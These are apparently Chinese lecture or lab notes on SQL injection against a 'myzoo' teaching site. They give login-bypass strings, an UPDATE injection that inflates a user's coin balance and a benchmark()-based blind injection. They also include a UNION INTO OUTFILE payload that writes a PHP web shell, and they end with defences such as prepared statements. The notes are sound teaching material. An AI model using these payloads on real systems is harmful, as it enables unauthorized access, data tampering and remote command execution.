www.myzoo.com 输入示例
Login
a‘# |
用户a登录 |
a‘ or 1# |
a‘ or 1=1# |
a‘ and 1;# |
d‘ or 1# |
a‘ or ‘1 |
思考:
为什么无密码可以登录?
为什么最终登录的都是a?
profile
a‘, Coins=100 where Username=‘a‘ ;# |
User
c‘ union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),benchmark(5000000,encode(‘aaa‘,‘bbbb‘),NULL);# |
SQL 注入原理
注入攻击
(1)XSS
- 用户提交数据,实际上提交的是攻击代码
-
代码混合在数据中,使得恶意代码获得执行。
(2)
SQL 注入
- 执行攻击者所构造的 SQL 代码
- 应用接收用户输入,该输入被构造成 SQL 语句并获得执行
a)利用 select
$sql = "select * from Person where Username = ‘$username‘ and Password = ‘$password‘";
$sql = “ select * from Person where Username = ‘a‘ or 1# ‘ and Password = ‘$password‘";
b)利用 update
$sql = "UPDATE Person SET Profile= ‘$profile‘" "WHERE PersonID = ‘$personID‘";
$sql = "UPDATE Person SET Profile= ‘b‘,zoobars=100 where Username=‘b‘;# "WHERE PersonID = ‘$personID‘";
3)利用 select 和 benchmark 语句
$sql = "select * from Person where Username = ‘$username‘
// union:两条select都执行;要求前后select列数相等
$sql = "select * from Person where Username = ‘c‘ union select 1,1,1,1,1,1, if(substring(database(),1,1)=char(119), benchmark(5000000, encode(‘aaa‘,‘bbbb‘)), NULL);#
// 把union查询结果写到文件中
$sql = "select * from Person where Username = ‘d‘ union select 1,1,1,1,1,1,‘<?php system($_GET[cmd]);?>‘ into outfile "/home/web/WebSec/1.php";#
// 写成功条件:知道当前网站根目录;mysql要拥有写权限;网站根目录要允许被其他进程写
SQL注入防御
- SQL 注入的本质是利用数据注入代码
- 区分数据和代码
过滤特殊符号 (‘ # -- 等)
缺点:可能原本就需要输入带有特殊符号的数据。
开启 magic_quote_gpc:转义特殊符号,把特殊符号当做普通字符
缺点:仍有可能实现SQL注入。
显式区分数据和命令
$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);